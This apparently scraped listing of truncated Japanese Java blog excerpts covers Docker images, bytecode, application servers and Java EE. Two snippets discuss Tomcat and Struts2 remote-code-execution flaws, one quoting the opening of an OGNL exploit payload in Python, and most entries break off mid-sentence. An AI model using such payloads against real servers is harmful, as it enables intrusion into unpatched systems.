Java アプリケーションを Docker コンテナ上で実行しようとしたときに、ベースイメージとしてどの Docker イメージを選ぶのがよいかを考えてみます。 はじめにPermalink Java で Web アプリケーションを開発して運用、というと、昔は Tomcat をインストールしたサーバに JAR ファイルや WAR ファイルを配布してデプロイしていたような記憶が微かに残っているのですが、数年前からは Spring Boot のように組み込み Tomcat などを採用し、Maven や Gradle のビルドオートメーションツールの力を借りて Java アプリケーションの実行に必要な JAR ファイルをひとまとめにした fat JAR (uber JAR) を構築し、単体の JAR ファイルだけを Java がインストールされているサーバに配布してデプロイ… とすることが圧倒的に

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert

クラスファイルの中身 クラスファイルの構造 javap コマンド javap 出力の概要 型とメソッドの読み方 オペランドスタック コンストラクタの実行 加算メソッド invoke 系命令 条件判断 for ループ まとめ 普段使いでは困ることはないですが、昨今はバイトコードマニピュレーションによる黒魔術が謳歌しているため、知っていると役に立つ場合もあるバイトコードの最低限の読み方を説明します。 クラスファイルの中身 以下のような簡単なソースコードを考えましょう。 public class Class1 { public int add(int x, int y) { return x + y; } } このソースコードをコンパイルして作成された Class1.class の中身のダンプを見てみます。 $ hexdump -C Class1.class 00000000 ca fe ba

はじめに Apache Tomcatに立て続けに見つかったCVE-2017-12615～12617の3つの脆弱性は基本的には同じ原因によるものでした。3つのうち2つは任意のJSPファイルをPUTリクエストでアップロードできてしまい、アップロード後にアクセスすることでJavaのコードが実行できてしまう、というパターンのRCE。残りの1つはJSPがそのまま静的ファイルとしてアクセス可能なためにソースコードが漏洩してしまう、というものです。 今回JPCERT/CCも注意喚起するなど、広く知られることになりましたが、一方でなかなかパッチが提供されないという状況にもなっています。今回はこの脆弱性についての調査を報告します。 readonlyパラメータとは何か JSPがアップロードできてしまうのはreadonlyパラメータがfalseになっている場合です。このパラメータはデフォルトでtrueであり、f

またOGNL絡みの脆弱性が見つかりました。 アウトラインはid:Kango氏がまとめているこちらが参考になります。 http://d.hatena.ne.jp/Kango/20170307/1488907259 さて、この脆弱性の動作原理を調べてみました。 ファイルアップロード時のヘッダの処理方式に問題があるようです。 前述のURLで述べられているPoCはこんな感じ。 import requests import sys def poc(url): payload = "%{(#test='multipart/form-data').(#[email protected]text@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.

qiita.com これの話。ブコメに書こうとしたら4000字は入らなかった。 Microsoft Java VM かつての WIndows には MS 製の Java VM が搭載されていました。 古代の Java は「Write once, run anywhere」を掲げていた通り、クライアントサイドで Java アプレットとして利用されるのが主流でした（サーバーサイドで動くようになって、真価を発揮した感じがあります）。 しかし Java VM の仕様は、パフォーマンスについての記述は曖昧になっており、OS ごとの実装の違いによって、実行速度に顕著な差がありました。 Windows の Sun 純正の Java VM は性能が悪かったため、MS は独自の Java VM を開発し、Internet Explorer にバンドルしました。調子に乗った MS は Windows GUI

java.io.Serializable …、ある程度Javaに触れて来た人は必ず見たことがあるインターフェイスだと思う。私も何度も見てきたし、必要に迫られて自分の作ったクラスにSerializableをつけたこともある。しかし、こいつは一体何なのか？ 継承の便利さ 僕らがまだJava初心者だった頃。継承というメカニズムに助けられながら育って来た。簡単に言えば、HttpServletクラスを継承しさえすれば、自分の作ったクラスがサーブレットとして認識されるのだ。また、abstractメソッドなどという便利な機能もあり、継承にあたって実装しなければいけないメソッドは確実に指示され、言われた通りにそのメソッドを実装すれば良い。 StrutsのActionも然り。そう、多くの場合は「継承さえすれば、望む物がだいたい出来上がる」というのがJavaの世界だと思っていた。 だが、世の中そんなに甘くない

本記事は Java Advent Calendar 2015 19日目 です。19日目大変ギリギリの投稿で本当に申し訳ないです。 どうもこんにちは。まーやです。Javaの猛者が集うアドベントカレンダーになぜかうっかり参加しちゃった初心者系の人間のお話です。 最近お仕事で参画した某改修プロジェクトでは、文字列の連結の処理がものすごい多いソースでした。改修にあたり「そういえば文字の連結ってどのくらいの量の時にどれ使えばいいのかしらん…」とふと考えました。多分多くのできるエンジニアとっくにそんなところは通り過ぎたと思うし、ググれば”これくらい差があるよ！”って結果が出された記事もたくさん見ることがでるんですが、あえて「自分でも検証してみよう〜」というのが今回の記事の内容・・・だったんですが、タイトルの通り、脱線してまーやがいかに無知だったかの話になります。 【最初に考えていたこと】 文字列の連結

これは Java EE Advent Calendar 2014 の6日目です。昨日は tq_jappy さんの「Java SE 8とJava EE 7によるアプリケーションのモダナイゼーション～中間ふりかえり～」、明日は yamadamn さんです。 ServletだってJava EE、だったらTomcatだって。。。 Java EEと言えばWildFlyかGlassfishかあるいは商用アプリケーションサーバーで、CDIとかEJBとかJSF....を使うかっこいいやつを言うらしいです。。。でも僕はまだ使ったことがありません。 僕はまだTomcatを使っています。 Tomcatといえば「可愛くないねこ」 ＿人人人人人人人人人＿ ＞　可愛くないねこ　＜ ￣Y^Y^Y^Y^Y^Y^Y^Y￣ など、散々な言われ方をしています。。そんないじめなくてもいいのに！たしかに拡張性がありそうで意外とそう

What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability. What? The most underrated, underhyped vulnerability of 2015 has recently come to my attention, and I’m about to bring it to yours. No one gave it a fancy name, there were no press releases, nobody called Mandiant to come put out the fires. In fact, even though proof of concept code was re

OpenJDKは使い物になるか？OpenJDKの実際と今後 （NTTデータ オープンソースDAY 2015 Autumn 講演資料） ■NTTデータ オープンソースDAY 2015 Autumn (2015/10/19 講演資料） 『OpenJDKは使い物になるか？ OpenJDKの実際と今後』 NTTコムウェア株式会社 末永 恭正 http://oss.nttdata.co.jp/hadoop/event/201510/

久々にはまった。。。 以前にも書きましたが、JDTコンパイラとSunの純正コンパイラはいろいろ微妙に振る舞いが違ってます。 01:public class Sample { 02: public static void main(String[] args) { 03: List list = new ArrayList(); 04: list.add(1L); 05: list.add(2L); 06: List<Object[]> list2 = list; 07: for(Object o : list2) { 08: System.out.println(o); 09: } 10: } 11:}前回判明したケースは、コンパイル時点で発覚したのですが、 上記コードは、JDTコンパイラでは正しく動作するのですが、Sunの純正コンパイラでは、 ClassCastExceptionが発生し

※ WebLogicだけ書いておくのも何なので、その他の商用Java EEサーバーもこちらでまとめてみました(2013/12/08 22:20) https://www.mushagaeshi.com/2013/12/08/from-glassfish-to-other-commercial/ ※ GlassFish2系・3系のサポート継続について言葉が足りなかったので、念のため補足を入れました(2013/12/09 14:46) こんにちは。Advent Calendarな時期になりましたね。この記事はJava EE Advent Calendar 2013の12/7の担当回です。12/6の回はwaritohutsuさんの http://d.hatena.ne.jp/waritohutsu/20131206 になります。 Java EE Advent Calendar 2013 http

みなさんこんにちは、masa です。今日は最近の Java アプリケーションサーバー事情について取り上げます。 あまり流行り廃りの激しくない Java サーバーですが、 Spring Boot  RC版で Tomcat のほかに Jetty や Undertow が選択できることを知り、改めて最近の Java アプリケーションサーバーのトレンドを調べてみたくなった次第です。 Google トレンドの結果は以下の通り 2015年 2010年 Tomcat がダントツなのは昔から変わりませんが、変化としては Jetty がこの5年で上げてきているところが気になります。 各アプリケーションサーバーの特徴をオープンソース、オラクル、レッドハット、IBM 系にわけてまとめてみました。※()内は正式名称 Tomcat (Apache Tomcat) 　オープンソース 1999年誕生。なんだかんだと10

- The document discusses optimizing Java performance on hardware by leveraging features like AES-NI, transparent huge pages, and compiler intrinsics. - It provides examples showing performance improvements from using these features, such as faster encryption times when enabling AES-NI and fewer TLB misses with transparent huge pages. - It also discusses Java VM options, garbage collection, and the

4月8日にJava Day Tokyo,11日にJJUG CCC 2015 SpringとJavaの大きなイベントが続けてあって、どちらも朝から懇親会まで参加してきた。 Java Day Tokyo Pepperとかミニカーとか車とか、ありとあらゆるものがJavaで動いていた。 Java9は来年リリースするらしい。 ハンズオンではじめてラムダ式とStreamAPIの書き方がわかった。 JJUG会長の鈴木さんにDukeのもにもにをいただいた(家宝) みんなでJavaの20周年を祝ってケーキを食べた JJUG CCC 2015 Spring Javaでコーヒーを入れたりミニカー？を動かしたり3Dプリンタを制御したりしてた GroovyでExcel操作が簡単にできることを知った nullを制御するための考え方を知った 払えるならお金を出しておいたほうがいいことも知った 飛び入りLTは時間が短くな

22時には寝て４時頃起き出し、昼過ぎまで部屋にこもって原稿を書き、昼から本業の仕事に行って夜まで。テレビも見ず、新聞も読まず、酒も飲まず･･･。４月以降、最近まで仙人のような生活をしていました。なんとか終わったのでようやくブログも再開できます。 Wildflyの記事もこれからアップする予定ですが、まずは、出来上がった「わかりやすいJavaEE」について裏話的なことを書きたくなりました。 始まりはYOUTUBE 今はRedHatに移ったグプタさんの解説ビデオをyouTubeで見たのが始まりでした。 https://www.youtube.com/watch?v=9Kf5m7bMu74 さすがグプタさん、まとめ方がうまいです。「な、な、なんとこれは便利だ」というのが初めての感想でした。それまでJEFというServletベースのフレームワーク（自作です）を使っていたので、あまりの落差に驚きました

この記事の想定読者 Struts 1.xの代替技術を模索している方 Java EEという言葉は知っているが、中身はあまり知らないという方 Java EEってそもそも何？という方 今回は、「そもそもJava EEって何？」「なぜJava EEが注目されているの？」ということを解説するとともに、Java EE 8で導入される「MVC 1.0」を利用して、Java EEの技術で簡単な検索Webアプリの開発する方法を解説します。 MVC 1.0について 先日、2本の記事を書きましたので、こちらをご覧ください。 MVC 1.0（Java EE 8）をとりあえず動かしてみた - Java EE 事始め！ JSR 371（MVC 1.0）Early Draftリリース&簡単に解説。 - Java EE 事始め！ これまでのJavaによる開発 これまで、Javaでシステム開発を行う際には、複数のオープンソ